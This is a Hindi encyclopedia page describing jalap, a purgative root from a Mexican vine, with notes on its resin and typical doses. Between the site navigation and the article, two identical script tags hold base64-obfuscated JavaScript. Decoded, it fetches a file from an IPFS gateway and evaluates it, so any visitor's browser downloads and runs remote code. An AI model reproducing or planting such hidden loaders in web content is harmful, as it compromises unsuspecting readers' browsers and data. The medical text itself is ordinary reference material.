जैलप

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • जैलप मेक्सिको में उत्पन्न होने वाली एक लता, एक्सोगोनियम जैलपा, की जड़ को कहते हैं।
  • यह भारत, लंका आदि में भी उपजाई जाती है। जड़ को पीसकर हलके बादामी रंग का चूर्ण तैयार किया जाता है।
  • जैलप में एक प्रकर की राल होती है। इसका रेचक प्रभाव इसी राल के कारण होता है।
  • चिकित्सा में य 17वीं शताब्दी से प्रयुक्त हो रहा है।
  • यह बड़ा प्रबल रेचक है। मात्रा अधिक हो जाने पर बहुत अधिक दस्त आ जाते हैं तथा स्थिति चिंताजनक हो सकती है।
  • इसका चूर्ण प्राय: एक ग्राम की मात्रा में दिया जाता है।
  • जैलप की राल भूरे लाल रंग के चमकदार थक्कों अथवा भूरे चूर्ण के रूप में मिलती है। इसका स्वाद तीक्ष्ण होता है। राल प्राय: 125 मिलीग्राम की मात्रा में दी जाती है।

टीका टिप्पणी और संदर्भ